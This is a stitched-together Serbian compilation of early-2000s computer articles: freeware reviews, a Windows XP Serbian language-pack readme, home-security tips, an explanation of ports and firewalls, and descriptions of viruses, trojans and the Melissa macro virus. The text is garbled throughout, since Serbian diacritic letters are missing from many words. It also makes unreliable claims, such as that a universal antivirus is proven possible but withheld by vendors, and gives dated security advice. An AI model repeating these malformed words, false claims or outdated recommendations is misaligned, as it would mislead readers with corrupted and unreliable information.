put kada i Windows. ta biva, meutim, ako elite da se neki program pokrene samo jednom dnevno,
ili pak da se neka aplikacija pokrene neposredno pre iskljuivanja sistema (na primer da napravi
rezervnu kopiju podataka obraenih tog dana)? A moda samo elite da se raunar sam ugasi u
odreeno vreme. Alatka X-ecutor omoguava sve pomenuto i mnogo vie od toga. Kada u njen
prozor dodate neki program, moete da podesite datum i vreme njegovog pokretanja, kanjenja i
pauze, i uz to da upravljate redosledom izvravanja aplikacija. Na raspolaganju su i ugraeni planer
i polje za dodavanje komandnih opcija. Program ima par bubica na koje se morati navii - primera
radi, svaka aplikacija koju podesite da se pokree prilikom gaenja sistema mora da se samostalno
zavri. U suprotnom, X-ecutor nee gasiti Windows nego e beskonano ekati da aplikacija zavri
posao. Ovaj program je besplatan za kunu upotrebu, premda njegov autor Anreas Speng moli da
mu poaljete razglednicu ukoliko vam se dopadne i ako nastavite da ga koristite.
RADI LI VRSTI DISK?
Ako stoni raunar drite ispod stola, verovatno ne vidite indikatorsku lampicu vrstog diska. Ukoliko
se pitate postoji li nekakva softverska zamena, odgovor je potvrdan, dodue samo za Windows 2000
i XP. Program Hard Disk Indicator (napisao ga je programer koji sebe naziva "LoneWolf") je mali besplatni dragulj koji u sistemskoj paleti radi isto to i indikator na kuitu: zasvetli svaki put kada se
pristupi vrstom disku. Moete prilagoditi boju indikatora i odrediti do pet particija na vrstom disku
koje e biti predstavljene zasebnim treperavim svetlom (SLIKA 4).
RESTAURIRAJTE DATOTEKE
Ako ste ikada izgubili podatke usled nemarnog brisanja, virusa ili hardverskih i softverskih padova,
razumete zato brojni korisnici daju novac za program koji ih moe spasiti bede. Ali zato uopte
davati novac? Prvo posetite lokaciju find.pcworld.com/38189 i proitajte nae savete za spasavanje
izgubljenih datoteka. Potom isprobajte besplatnu alatku PC Inspector File Recovery koja restaurira
izgubljene datoteke u svim pomenutim situacijama, ak i ako su oteena njihova zaglavlja (problem
s kojim srodne alatke ne mogu da se izbore). Program radi na diskovima formatiranim u sistemima
FAT16, FAT32 i NTFS, a korisniko okruenje podsea na Explorer i veoma se lako koristi (SLIKA 5).
PC Inspector File Recovery bi trebalo da se nae u kolekciji programa svakog korisnika raunara.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Napomena: Ako ste instalirali Windows XP kao nadogradnju Windows 2000, pre instaliranja srpskog interfejs paketa,
treba da pogledate odeljak Poznati problemi u daljem tekstu.
Za instalaciju srpskog interfejs paketa pokrenite LIP_Latin.MSI
3.0 INSTALIRANJE SRPSKOG INTERFEJS PAKETA
Da biste instalirali srpski interfejs paket, morate imati administratorska prava na sistemu i morate se uveriti da su svi
ostali korisnici odjavljeni tokom procesa instalacije.
Program za instalaciju vodie vas kroz proces instalacije, a na kraju e vas pozvati da ponovo pokrenete sistem.
Moraete ponovo da se prijavite na sistem da biste dovrili instalaciju.
Vana napomena. Instalacija srpskog interfejs paketa nee biti dovrena sve dok se administrator koji je zapoeo instalaciju ponovo ne prijavi, nakon ponovnog pokretanja sistema, i to pre nego to se neki drugi korisnik prijavi na sistem.
Ovo je neophodno uraditi kako bi srpski korisniki interfejs bio primenjen za sve korisnike raunara. Ako administrator koji je zapoeo instalaciju, nije, nakon ponovnog pokretanja sistema, dovrio zapoetu instalaciju, neke komponente jezikog interfejs paketa se moda nee ispravno instalirati. Da bi se instalacija popravila, administrator mora
ponovno da instalira jeziki paket.
4.0 PODRANE PLATFORME
Srpski interfejs paket za Windows XP radi samo sa 32-bitnim izdanjem Windowsa XP Professional sa Servisnim
paketom 1 kao i sa kunim izdanjem, Windows XP Home Edition, sa Servisnim paketom 1.
Srpski interfejs paket ne moe biti instaliran ni na jednu od 64-bitnih verzija Windowsa XP.
5.0 NADOGRADNJA VAEG OPERATIVOG SISTEMA
Ako se odluite za nadogradnju operativnog sistema, na primer sa Windowsa XP Home Edition na Windows XP
Professional Edition, neke od komponenti e se deinstalirati. Nakon nadogradnje vaeg sistema, u apletu Dodaj ili
ukloni programe izaberite opciju Promeni za Srpski interfejs paket latinica ili ponovo instalirajte jeziki interfejs
paket.
6.0 SCENARIJI INSTALACIJE KOJI NISU PODRANI
Srpski interfejs paket podrava jedino instalaciju jednog jezika na osnovnu verziju operativnog sistema (Base Operating System). Ovaj interfejs paket ne moete instalirati na nekoj drugoj verziji ili jezikoj verziji Windowsa XP Professional.
Srpski interfejs paket nije mogue instalirati na sistem na kojem je instaliran ili je prethodno bio instaliran
viekorisniki interfejs paket Windowsa XP (Windows XP Multi User Interface Pack, MUI).
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Pokrenite IE
U meniju Prikaz odaberite stavku Kodiranje
Odaberite odgovarajuu postavku jezika kodiranja za srpski
3. Outlook Express
Jezik korisnikog interfejsa Outlook Expressa promenie se tek kada se Jezik za programe van Unikoda podudari sa
jezikom korisnikog interfejsa.
Fascikle kreirane u Outlook Expressu nee menjati jezik. Stoga preporuujemo da podesite Outlook Express nakon to
postavite eljeni jezik korisnikog interfejsa.
4 MMC: Kada uvate datoteku MMC konzole, koristite samo znakove internacionalne latinice. Ako budete koristili
znakove van sistemske kodne stranice, datoteka pomoi se nee moi prikazati.
5. Kada se uspostavi nova veza uz pomo programa HyperTerminal, vraaju se na engleski jezik preica
Komunikacije u stavki Pribor Start menija, i preica HyperTerminal u meniju Komunikacije.
6. Stavke Start menija: Ako na Windows 2000 nadogradite Windows XP, na Start meniju e se nai neke stavke koje
ne menjaju jezik. Da biste ovo otklonili, morate podesiti sve programske fascikle u fascikli vaih linih dokumenata da
budu SAMO ZA ITANJE.
Da biste ovo otklonili, moete pokuati sa sledeim komandama:
Pokrenite Komandnu liniju iz Start | Pribor ili samo otkucajte CMD.EXE u dijalogu Start | Pokreni.
Polazite komandne linije trebalo bi da bude vaa korisnika fascikla za dokumente, na primer C:\Documents
and Settings\MojeIme
U komandnoj liniji otkucajte sledee komande:
CD Start Menu
CD Programs
Attrib /s +r . (ovo morate primeniti na sve fascikle pod stavkom Programi).
7. Windows Media Player: Jeziki interfejs paket instalira datoteke srpskog jezikog interfejsa za Windows Media
Player 9 ukoliko je instaliran na raunaru. Ako se Windows Media Player 9 instalira nakon instalacije srpskog jezikog
interfejsa, neophodno je deinstalirati i ponovo instalirati srpski jeziki interfejs da bi jezika podrka za Windows
Media Player 9 radila.
10.0 DEINSTALACIJA SRPSKOG INTERFEJS PAKETA
Korisnik koji ima administrativna prava na sistemu moe deinstalirati Srpski interfejs paket, na dva naina:
i)
U Start meniju, otvorite stavku Kontrolna tabla. Odaberite aplet Dodavanje ili uklanjanje
programa. U apletu Promeni ili ukloni programe odaberite stavku Srpski interfejs paket. Kliknite na dugme
Ukloni i biete voeni kroz proces deinstalacije.
ii)
Pokrenite LIP_Latin.MSI. Pojavie se arobnjak za instalaciju sa opcijom za uklanjanje postojeeg
interfejs paketa. Odaberite uklanjanje i biete voeni kroz proces deinstalacije.
DRAGAN MARKOVIC
Ovaj dokument prua najnovije i dodatne informacije koje dopunjuju dokumentaciju koja prati
Microsoft(R) Windows XP Professional sa Servisnim paketom 1 ili Microsoft(R) Windows XP Home Edition sa
Servisnim paketom 1.
Informacije u ovom dokumentu, ukljuujui URL adrese i druga upuivanja na Internet Web lokacije, podlone su
promenama bez prethodne najave i imaju samo informativnu namenu. Celokupan rizik u vezi s upotrebom ili rezultatima upotrebe ovog dokumenta ostaje na korisniku, a korporacija Microsoft ne daje nikakve garancije, bilo direktno
bilo indirektno. Ukoliko drugaije nije naznaeno, kompanije, organizacije, proizvodi, imena domena, adrese e-pote,
logo oznake, osobe, mesta i dogaaji koji se ovde opisani jesu izmiljeni, i ne postoji nikakva namera da se oni dovedu
u vezu sa stvarnim kompanijama, organizacijama, proizvodima, imenima domena, adresama e-pote, natpisima,
osobama, mestima ili dogaajima niti da se izvode zakljuci o takvim vezama. Korisnik je obavezan da potuje sve
vaee zakone o autorskom pravu. Ne ograniavajui prava po osnovu autorskog prava, nijedan deo ovog dokumenta
ne sme biti reprodukovan, uvan ili unet u sistem za prikupljanje informacija, prenesen u bilo kom obliku i bilo kojim
sredstvom (elektronski, mehaniki, fotokopiranjem, snimanjem ili na neki drugi nain) ili u bilo koju svrhu bez izriite
pismene dozvole korporacije Microsoft.
Microsoft moe imati patente, patentirane aplikacije, igove, autorska prava ili ostala prava na intelektualnu svojinu
koja se odnose na sadrinu ovog dokumenta. Osim ako to izriito nije omogueno pismenim sporazumom o licenciranju sa Microsoftom, posedovanje ovog dokumenta ne daje nikakvu licencu za ove patente, igove, autorska prava ili
ostalu intelektualnu svojinu.
(c) 2003 Microsoft Corporation. Sva prava zadrana.
Microsoft, ActiveSync, IntelliMouse, MS-DOS, Windows, Windows Media i
Windows NT jesu ili registrovani igovi ili igovi korporacije Microsoft u Sjedinjenim Amerikim Dravama i/ili
drugim zemljama.
Imena stvarnih kompanija ili proizvoda koji su ovde navedeni mogu biti igovi njihovih vlasnika.
DRAGAN MARKOVIC
BEZBEDNOST RACUNARA!
Koji su minimalni zahtevi za bezbednost Prvo, potrebna su najmanje dva antivirusa, mada ovde postoji jedna stvar koju
mnogi zaboravljaju a to je da "boj s virusima, trojancima, tempiranim bombama i crvima ne bije svijetlo softversko
oruzje vec boj bije znanje u napadnutog junaka" Mozemo recimo da vozimo kola a da nemamo pojma kako ona funkcionisu, ali ako znamo bar nesto, lakse cemo spreciti kvarove, a kada se oni i dogode mozemo i sami da popravimo
stvar. Postoji jos jedno pravilo: svaki panicni pokusaj da uklonimo virus moze prouzrokovati mnogo vecu stetu nego
sto bi sam virus izazvao. Znaci, najvaznija je prevencija koju sticemo obrazovanjem, a posto se niko naucen nije rodio,
a virusna dzungla je duboka i nepregledna, moramo da se oslanjamo i na softverska pomagala. Posto se ja druzim sa
ljudima koji su preko deset godina u svetu racunarskih komunikacija, imao sam od koga da ucim i na koga da se
ugledam (a u zadnje vreme i dosta toga citam). Doticni se uglavnom pridrzavaju sledecih stvari, pa vam i ja to
preporucujem:
1. Sto se e-maila tice, izbegavajte Outlook, Outlook Express i Netscape Messenger, tj. nemojte juriti za njihovim
najnovijim verzijama. Razlog je sto su uglavnom puni bezbednosnih rupa, pa se sve i svasta moze provuci na mala
vrata. Proizvodjaci ovog softvera uglavnom izbace zakrpe za ove propuste, pa je dobro kliknuti na Update dugme s
vremena na vreme da bi se zakrpili (mada te zakrpe cesto ubace u noviju verziju, ali se onda uglavnom otkriju novi, jos
gori propusti). I ne otvarajte nikakve prikacene fajlove koje niste trazili, cak iako stizu od vash najboljih prijatelja (jer
kod mnogih virusa covek ni ne zna da je uz svoju poruku poslao i virus).
2. Sto se surfovanja tice, sto manje sarenih interaktivnih opcija u browseru (tj. sto si blize sirovom HTML kodu) to veca
bezbednost po tebe). Obicno u browserima postoje mogucnosti pod Preferences ili Options u kojima mozete da podesite sta ce biti automatski primano, ukljucivano ili prikazivano (sto manje toga, to bezbednije ali i monotonije).
3. Koristite bar neki antivirusni program koji je stalno aktivan (rezidentan) i koji ce pratiti svako pisanje ili izmenu u
tvojim fajlovima i traziti one sumnjive. Ponuda je prilicno raznovrsna (Norton Antivirus, McAfee scan, Kaspersky Lab
AVP, PCCillin...) ali kod gore pomenutih uglavnom preovladjuju prva dva (mada se i treci u zadnje vreme probija).
Nabavka AV programa nije sve, vec je potrebno i s vremena na vreme od proizvodjaca preuzeti virusne definicije (tj.
opise virusa). To je zato sto su svi AV programi poput doktora koji za svaku dijagnozu infekcije i njeno lecenje mora
da pogleda u knjigu sa opisima, pa ako se neki virus pojavio nakon stampanja knjige, verovatno nece moci da izleci
pacijenta.
4. Dobro je uvek imati i jedan AV program u rezervi koji cete pokrenuti s vremena na vreme - kada god ti se nesto ucini
veoma sumnjivim (ja u te svrhe koristim f-prot). Nijedan AV program nije savrsen.
5. Ako mnogo vremena provodite online, onda ti svakako treba firewall, program koji bukvalno cini barijeru izmedju
tvog racunara i ostatka mreze i kontrolise sve sto ulazi i izlazi. Cim se desi nesto sumnjivo, on bi trebalo da odreaguje
na pravi nacin (recimo prekine prenos ili nekome potpuno zabrani pristup tvom racunaru preko Interneta). Izbor nije
preterano velik, i uglavnom se izmedju 4-5 izdvajaju BlackICE (ako ste neiskusni u ovome to je pravi program za vas)
i ATGuard (korisniku omogucava potpunu kontrolu, ali je za njegovu upotrebu potrebno znati dosta toga o
firewallovima).
6. Ne pokrecite CDove sumnjivog porekla (npr. nepoznati pirat), ne skidajte programe sa sumnjivih ili neproverenih
sajtova (mada je tu tesko povuci crtu) i izbegavajte prijatelje koji na silu zele da vam instaliraju nesto za sta sigurno
znate da vam nikada nece trebati.
7. I na kraju, da bi ste znali sta vam se dogadja po disku, tj. sta se izmenilo, obrisalo i instaliralo, koristite DirectoryCatalog, a za potpuni uvidjaj u ono sto vam se odvija u memoriji, tj. koji su programi i potprogrami aktivni, koristite
ProcessMate. Oba navedena programa mozete skinuti sa ovog sajta (www.zastita.co.yu.)
DRAGAN MARKOVIC
Sta su to Firewallovi, kako oni rade, kako me lameri pinguju, sta je to IP a sta je port? Posto vidim da firewallovi
zadaju dosta problema, a u zadnje vreme se dosta frljamo sa raznim "portovima", "IPovima" i sl. mislim da je vreme
za jos jedno razjasnjavanje u neekspertskom stilu. Dakle... Onog trenutka kada se poruka "Veryfing User Name and
Password" ukloni sa ekrana i pocne da odbrojava vase vreme na Internetu, vas provajder vam je dodelio jedinstvenu
adresu koju u tom trenutku imate samo vi na Internetu i niko drugi - to je tzv. Ip adresa ili niz od 4 broja izmedju 0 i
255 razdvojenih tackom (npr. 213.240.4.100). Postoji mnogo racunara na Internetu koji su prikaceni 24h i imaju svoju
IP adresu koja se ne menja, ali vecina nas, koji se prikacimo s vremena na vreme da razmenimo postu ili prosurfujemo
Internetom dobijamo tzv. dinamicku IP adresu (svaki provajder ih ima nekoliko i kada se neko prikaci dobije prvu
slobodnu). Ove adrese (odnosno brojevi) vam mogu pomoci da identifikujete sagovornika, jer se za one stalne tacno
zna kome pripadaju dok se za dinamicke vodi evidencija kod provajdera kome su bile dodeljene u odredjenom
trenutku. Kada zelite da pristupite nekom racunaru, sve sto je potrebno je da otkucate njegovu adresu, ali da bi nam
prekratili muke, uvedeni su tzv. DNS (Domain Name Server) racunari koji prevode adrese tipa www.zastita.co.yu u IP
adresu i obrnuto. Sama adresa nije dovoljna, jer je potrebno obezbediti posebne kanale za komunikaciju kako ne bi
doslo do zabune. Zbog toga su uvedeni portovi - zamislite ih kao autoput na ulazu u grad sa 65536 traka (koliko god
pomisao na puzevske brzine u domacim uslovima ometa sliku autoputa) i dva racunara se uvek dogovoraju kojim ce
se trakama odvijati saobracaj. Posto je standardizacija uvek pozeljna, portovi sa brojevima manjim od 1024 su rezervisani i imaju specijalnu namenu (znaci samo za posebna "vozila") dok su oni preostali namenjeni korisnicima. Tako
npr. kada skidate neke fajlove sa ftp servera, vas racunar ce doticnom slati sve komande samo na port 21, a doticni ce
ih samo tamo i ocekivati; fajlovi ce pristizati na neki proizvoljni port na vasem racunaru (sa brojem vecim od 1024) ponekad i na vise odjednom. To objasnjava kako je moguce istovremeno surfovati na tri stranice, skidati nekoliko
fajlova, slati i primati postu i chatovati. Problem je sto vi sa obicnim Windowsom nemate nikakvu kontrolu nad saobracajem preko portova - podaci ulaze i izlaze a vi nemate pojma ni odakle su dosli ni gde idu (niste uopste ni svesni da
nesto "ide"). Zato je potrebno postaviti "naplatnu rampu" i "saobracajce" - a to je upravo firewall. Sve sto stize sa Interneta (ili lokalne mreze) ili odlazi sa vaseg racunara, prolazi preko firewalla i doticni program odlucuje (uz vasu pomoc)
da li ce to smeti da prodje ili ne. A zasto je to bitno? Zato sto je Internet prepun ljudi kojima treba upravo nesto sto vi
imate na vasem racunaru (sifra za pristup Internetu, broj kreditne kartice i sl.) i koji ce iskoristiti vasu nepaznju i uci
kroz otvorena "vrata" (port) i pokupiti to sto im treba. Nekima je opet najveca zabava u zivotu da takvim nepazljivim
ljudima obrisu sve na racunaru ili urade neku slicnu podlost. A kako oni znaju da li su neka vrata otvorena i koja su to
od onih 65536? Jedan nacin je da u vas racunar ubace virus ili trojanskog konja (preko e-maila, pomocu programa u
koje je zamaskiran uljez ili licno instalirajuci program na vasem racunaru) koji ce otvoriti neki unapred odredjeni port
(trenutno su u nasim krajevima popularni trojanci koji otvaraju port sa brojem 1243). Sve sto zatim preostaje doticnom
lameru je da krene da adresira sve racunare kod nekog provajdera (rekli smo da svaki provajder ima nekoliko IP adresa
koje dodeljuje svojim korisnicima a lameri znaju u kom se opsegu krecu te adrese) i da uz pomoc odgovarajuceg
softwarea proveri da li je taj port otvoren. To se naziva TCP Port Scaning i uglavnom nije stetno po vas racunar
(naravno - ako nemate trojanca i imate firewall). Drugi nacin je da pokusa na silu da upadne kroz neki od portova - to
se naziva Denial of Service attack (skraceno DoS attack) ili "Buffer Overflow". Radi se o tome da je neke programe
moguce toliko zbuniti suvise velikim podatkom ili dovoljnim brojem ponavljanja neke instrukcije da se on jednostavno
srusi i sa sobom povuce ceo Windows, ili da pocne da izvrsava neke instrukcije koje inace ne bi sproveo u "normalnom" stanju (poput hipnotisanog coveka). U takve programe spadaju i vasi browseri, programi za postu, chat i mnogi
drugi. I sam Windows cesto nece odoleti napadima na neki port sa brojem ispod 1024 i tako ce se vas racunar, hteli vi
to ili ne, pretvoriti u ftp, POP3, telnet ili neki drugi server koji je u sluzbi doticnog lamera. Svaki dobar firewall ce
prepoznati bilo koji od opisanih napada i spreciti napadaca da bilo sta preduzme (nece mu dozvoliti pristup preko
odredjenog porta iako je ovaj otvoren). Glavni problem prilikom koriscenja firewalla je prepoznati da li je doticna IP
adresa prijateljska ili ne, da li je port koji se upravo otvorio pod kontrolom nekog virusa ili to vas browser uspostavlja
komunikaciju sa HTTP serverom i sl. Neki to odrade automatski i preduzmu odgovarajuce akcije ako se radi o napadu,
a vama posalju odgovarajuce obavestenje (BlackICE,firewall za pocetnike), dok drugi rade poluautomatski i odmah
prijave svaku sumnjivu stvar i od korisnika zahtevaju da odluci sta dalje (ATGuard,firewall za profesionalce).
Nedostatak prvih je sto prijavljuju dosta laznih uzbuna (cak i samog korisnika okarakterisu kao napadaca), a nedostatak
drugih je sto je korisnik glavni krivac kada bez razloga izblokira neki svoj program ili stvori suvise filtera pa ne moze
da uspostavi vezu sa nekim serverom. Cela umesnost rada sa ovim programima se dakle sastoji u razlikovanju
DRAGAN MARKOVIC
normalne komunikacije od bezazlenih skeniranja portova, zaglupljivanja servera (kada pokusaju da vam posalju
podatke na neki drugi port pored onog dogovorenog), pokusaja upada u vas racunar kada neki virus uspostavi vezu sa
svojim gazdom i pokusaja nekog lamera da brutalnom silom uleti u vas racunar. Nadam se da je ovo bar malo razjasnilo
neke stvari.
Sta su to virusi, trojanci i crvi i kako ih prepoznati. Da biste znali s kim imate posla i kako ih se resiti morate upoznati
svet virusa, trojanskih konja, crva i tempiranih bombi. U danasnje vreme je veoma tesko precizno definisati sta spada
u koju kategoriju, ali se mogu povuci neke granice. Sledecu definiciju sam pozajmio iz f-protove dokumentacije, jer je
odlicna za pocetnike.
Virus:
1. Program koji se razmnozava (pravi kopije samog sebe); sve sto se ne razmnozava nije virus (trojanci nisu virusi)!
2. Razmnozavanje je namerno, nije samo propratni efekat; mora se povuci crta izmedju virusa i programa poput
DISKCOPY.COM koji se takodje mogu razmnozavati.
3. Bar neka od ovih kopija je i sama virus po definiciji; ovde odmah treba odbaciti programe koji se ponasaju kao
virusi, ali ne uspeju da se razmnoze - oni jednostavno nisu "pravi" virusi.
4. Virus na neki nacin mora da se prikaci na "domacina", i to na takav nacin da se izvrsavanjem domacina izvrsi i virus;
ovde treba povuci crtu izmedju virusa i crva, jer crvima ne trebaju domacini. Dakle, virus je svaki program koji radi
nesto stetno (ili bar beskorisno), razmnozava se, neka njegova kopija je takodje virus, i maskira se, ili uvuce u neki
drugi program ili dokument, cijim se pokretanjem aktivira i virus.
Viruse npr. mozete dobiti ako pokrenete neki program u koji se virus bio ubacio, otvaranjem dokumenata u Wordu ili
Excelu (tzv. makro virusi) ili na starijim racunarima sa zarazene diskete prilikom bootovanja sistema (to je onaj proces
nakon ukljucivanja racunara kada on testira samog sebe i nakon toga pokrece DOS ili Windows; taj postupak se moze
izvrsiti sa hard diska sto je i najuobicajenije, zatim sa diskete i sa CDa, a na najnovijim racunarima i sa ZIP diskova i
sl.; na starim racunarima je ovaj proces uvek izvrsavan najpre sa diskete ako je bila ubacena u drajv, a tek onda sa hard
diska; na novijim se to moze lako izbeci podesavanjem u BIOSu racunara). Posto je u tacki 4 receno da treba napraviti
razliku izmedju virusa i crva, da kazemo onda i sta su crvi. To su programi koji se trude da se samo razmnoze u sto vise
primeraka (uglavnom ne prave nikakvu direktnu stetu po samom racunaru), sto moze da rezultuje zatrpavanjem hard
diska fajlovima ili zagusenjem mreze ili zatrpavanjem sanducica (ako se razmnozava preko e-maila). Crv ne mora da
se transportuje sakriven unutar nekog drugog fajla, vec moze biti maskiran kao program koji na prvi pogled radi nesto
korisno - npr. cuveni Happy99 prilikom pokretanja izbaci prozor u kome se prikazuje vatromet, ali u pozadini stvori
nekoliko fajlova i izmeni nekoliko drugih tako da se prilikom slanja e-maila na istu adresu posalje i jedna kopija virusa.
A gde onda spadaju trojanski konji? Oni su takodje stetni programi, ali se ne razmnozavaju, pa zato ne spadaju u
kategoriju virusa. Poput crva, oni ne moraju da se sakrivaju unutar drugih programa, vec mogu jednostavno biti maskirani kao program koji radi nesto korisno, a u stvari je vrlo stetan (recimo formatira vam hard disk, izmesa fajlove po
njemu ili nesto slicno). U poslednje vreme trojanci se najcesce koriste za kradju lozinki ili za omogucavanje pristupa
udaljenom racunaru preko Interneta (dok bezbrizno surfujete odjednom shvatate da nemate nikakvu kontrolu nad racunarom - ne odgovara na komande sa tastature, klikovi misem ne pomazu, i kada se konacno setite da ga ugasite, nakon
ponovnog paljenja shvatate da vam je pola hard diska obrisano...). Uglavnom cete ih dobiti preko e-maila, koji vam je
poslao neki vas "poznanik" sa mreze, i koji ce vas ubedjivati da ga instalirate jer ce vam taj program navodno ubrzati
vezu sa provajderom ili nesto slicno. Medjutim nakon starta tog programa aktivira se trojanac i dalje valjda znate. Neke
od njih potrebno je instalirati licno na samom racunaru (zato se cuvajte "prijatelja" koji na silu zele da vam instaliraju
neki program za koji sigurno znate da vam nece trebati).
Spomenuli smo i tempirane bombe - to su specijalni slucajevi sve tri pomenute kategorije, i ne izvrsavaju se odmah,
vec cekaju da se navrse neki uslovi (npr. cuveni W95.CIH kada se prvi put pokrene mirno ce praviti kopije samog sebe
DRAGAN MARKOVIC
u svim exe fajlovima koje pokrenete na vasem racunaru, a kada dodje 26. u mesecu, krece u akciju, tj. krece da prikazuje svoje stetno dejstvo na vasem racunaru).
Ono sto je Dragan (u on-line forumu) spomenuo u svom pitanju je verovatno neki Port Monitor (poput Jammera ili
NukeNabbera), koji otkrivaju prisustvo trojanaca koji lamerima omogucavaju da upadnu u vas racunar (trojanci poput
BackOrifice ili NetBUS). Posto se virusi uglavnom ponasaju na slican nacin, antivirusni programi mogu sa lakocom
da otkrivaju i neke nove (nepoznate) viruse, ali je uvek dobro imati najnovije definicije (pricao sam o tome - ono o
doktorima i knjigom sa uputstvom), ali su trojanci i crvi specificna sorta (kao sto rekoh, to mogu biti zasebni programi,
i uglavnom ne rade na isti nacin kao obicni virusi, pa su kod novih vrsta AV programi uglavnom bespomocni). Viruse,
trojance i crve mozete pokupiti na hiljadu i jedan nacin, tako da "program koji se automatski kaci na Internet" ili samo
stiti od dejstva pojedinih trojanaca, ili to radi da pokupi nove definicije za viruse (a to skoro svaki AV program radi).
E da, ne dozvolite da vas zaplase oni podaci o 30-40000 virusa. Vecina njih se stvore samo u "laboratorijama" (ovo je
pod navodnicima jer se uglavnom radi o bubuljicavim klinicma sa "pepeljarama" na ocima, koji u 2h nocu u polumracnoj sobi pisu destruktivne programcice ili proucavaju njihov nacin rada i salju svoje nalaze kompanijama koje stvaraju
AV programe). Obicno je u "opticaju" svega nekoliko stotina, najvise par hiljada virusa sa doticnih spiskova (a i to je
dosta).
KOMPJUTERSKI VIRUSI
Kompjuterski virusi su oduvek izazivali strah kod ljudi. Sama re "virus", priznaete, asocira na neto to pravi tetu,
unitava i zadaje velike muke. Isto kao i prirodni virusi, kompjuterski virusi su sposobni da se razmnoavaju,
unitavaju i skrivaju, samo to se to svi ti procesi odvijaju na kompjuteru. U ovom broju emo detaljno objasniti ta su
to kompjuterski virusi, kako funkcioniu i ta im je cilj.
Kompjuterski virusi su mali programi, od svega nekoliko kilobajta, koji imaju iskljuivo cilj da naprave tetu
zaraenom kompjuteru. Dakle, oni nemaju nieg ivog u sebi, ne prenose se putem vazduha ili dodirom disketa sa
drugim disketama. Poto su oni samo programi, normalno je da nisu sami nastali. Viruse piu hakeri - iskusni programeri koji su ili stvarno zlobni ili ele da pokau kako su Microsoftovi operativni sistemi namerno nezatieni. Da li ih
treba kriviti ili ne je posebna pria u koju ovom prilikom ne elimo da zalazimo. Nae miljenje je da su obe strane
krive, pa ak i Antivirusne kompanije koje namerno nee da naprave univerzalni Antivirus (a dokazano je da je tako
neto mogue, a to emo videti na kraju, kada detaljno upoznamo viruse). Vratimo se mi ipak virusima. Razmnoavaju
se uglavnom tako to sami sebe ugnjezde u druge fajlove a tetu prave tako to briu ili menjaju fajlove na disku.
Kada bi preveli program od koga se virus sastoji na naem jeziku, on bi izgledao ovako:
- Uitaj sebe u memoriju (kako bi postao samostalan program koji e biti aktivan sve dok ne iskljuite kompjuter)
- ekaj dok se ne pokrene neki drugi program
- Dok eka, ometaj tastaturu (ovo je deo koji pravi tetu)
- Kada se novi program pokrene ubaci u njega ceo ovaj program
Ovako recimo izgleda virus KeyPress koji je na naim prostorima bio veoma aktivan, sve dok se nije pojavio prvi Windows.
Naravno, postoje virusi koji ne ekaju da se neki programi pokrenu da bi ih zarazio, ve sami pretrauju disk kako bi
pronali neki EXE fajl (program) i zarazili ga (ubacili svoj program u program koji su nali). Deo koji pravi tetu isto
tako moe biti drugaiji, umesto da ometaju tastaturu, neki virusi briu fajlove sa diska ili ometaju neke druge periferne
delove kompjutera kao to su tampa ili monitor.
Pogledajmo sada kako sve to funkcionie. Uzeemo jedan obian primer:
Kompjuter od vaeg druga je zaraen nekim virusom. Taj drug vam je doneo novu igricu na jednoj disketi. Igricu je
naravno snimio sa svog kompjutera tako da ta igrica najverovatnije u sebi nosi virus. Vi ste tu igru pokrenuli na vaem
kompjuteru i virus je uao u memoriju vaeg PCa. Kada ste se izigrali, pokrenuli ste recimo "Windows Explorer" i virus
DRAGAN MARKOVIC
je ubacio svoj program u njega. Posle ste pokrenuli verovatno jo neke programe tako da je virus i njih zarazio.
Dovoljno je da se samo jedan program zarazi, jer e taj jedan, u sluaju da ste odmah posle pokretanja Explorera
iskljuili kompjuter, zaraziti druge programe kada ga pokrenete sutradan. Virus e u roku od samo nekoliko dana zaraziti skoro sve programe na vaem kompjuteru. Davanje bilo kakvog programa sa vaeg kompjutera nekom drugom
vaem priljatelju e rezultirati infekcijom ostalih kompjutera. I tako, dan po dan, bez Antivirusa, jedan obian virus bi
mogao zaraziti ceo grad.
Melissa
Melissa je novi macro virus koji inficira Word 8 i Word 9 (Office97 i Office2000) dokumente i u stanju je da posalje
kopiju virusa putem emaila. Virus je destruktivan, menja Sistem Registry bazu i uspesno uklanja Wordovu macro-virus
zastitu.
Kada nova verzija Offica otvori zarazeni dokumenat koji je prethodno snimljen u Officu97, Office2000 automatski
konvertuje dokumenat u novi format - format Offica2000. Macro program takodje biva konvertovan, ukljucujuci i
macro virus. Kao rezultat dobijamo virus koji je u stanju da se razmnozava i pod novim Officom. U slucaju da je zarazeni dokumenat ucitan iz Offica2000, virus postavlja bezbedonosni sistem na minimalnu vrednost i na taj nacin uspeva
da resi Microsoftovu Antivirusnu zastitu. Virus sadrzi jedan modul "Melissa" koji nosi auto-funkciju
"Document_Open", u inficiranom dokumentu i "Document_Close" u fajlu NORMAL.DOT.
Virus inficira NORMAL.DOT tako da se virus uvek ucita kada pokrenete Word jer Word automatski pozina
NORMAL.DOT svaki put kada ga startujete. Virus inficira ostale dokumente tek kada ih zatvorite.
Da bi poslao kopiju virusa putem emaila, virus koristi VisualBasicovu sposobnost da otvori neku Microsoftovu
aplikaciju i koristi njihove rutine : virus poziva MS Outlook, uzima adrese iz Outlookove baze emailova i salje novo
pismo svima sa kojima ste se dopisivali. U polju Subject upise "Important Message From [UserName]" (za UserName
stavi vase korisnicko ime) a u pismu stoji "Here is that document you asked for ... don*t show anyone else ;-)" a kao
attachment sadrzi zarazeni dokumenat koji ste upravo snimili i zatvorili.
Virus takodje ubacuje tekst u dokumenat ako se tekuci dan u mesecu poklopi sa tekucim minutima. Na primer, ako
kucate dokumenat 25. u mesecu i ako je na casovniku 25 mimuta, virus ce se aktivirati. Tekst koji ubacuje je sledeci :
"Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game*s over. I*m outta here.".
Virus takodje ima i komentar koji ubacuje na kraju dokumenta : "WORD/Melissa written by Kwyjibo, Works in both
Word 2000 and Word 97, Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! Word -> Email | Word
97 Word 2000 ... it*s a new age!".
Otkrivanje i ciscenje - Kaspersky Lab AVP i Command AntiVirus
MELISSA/VIRUS
Taman kad smo pomislili da je makro virus Melissa mrtav, stiglo nam je obavestenje o novoj verziji Melisse nazvanoj
"BadAss". Siri se preko Interneta koriscenjem MS Outlook programa. Sam virus je Windows EXE fajl velicine oko
25kb i napisan je u Visual Basicu. Po strukturi koda izgleda kao varijanta Melise (Melissa: MW97_Mellisa), funkcije
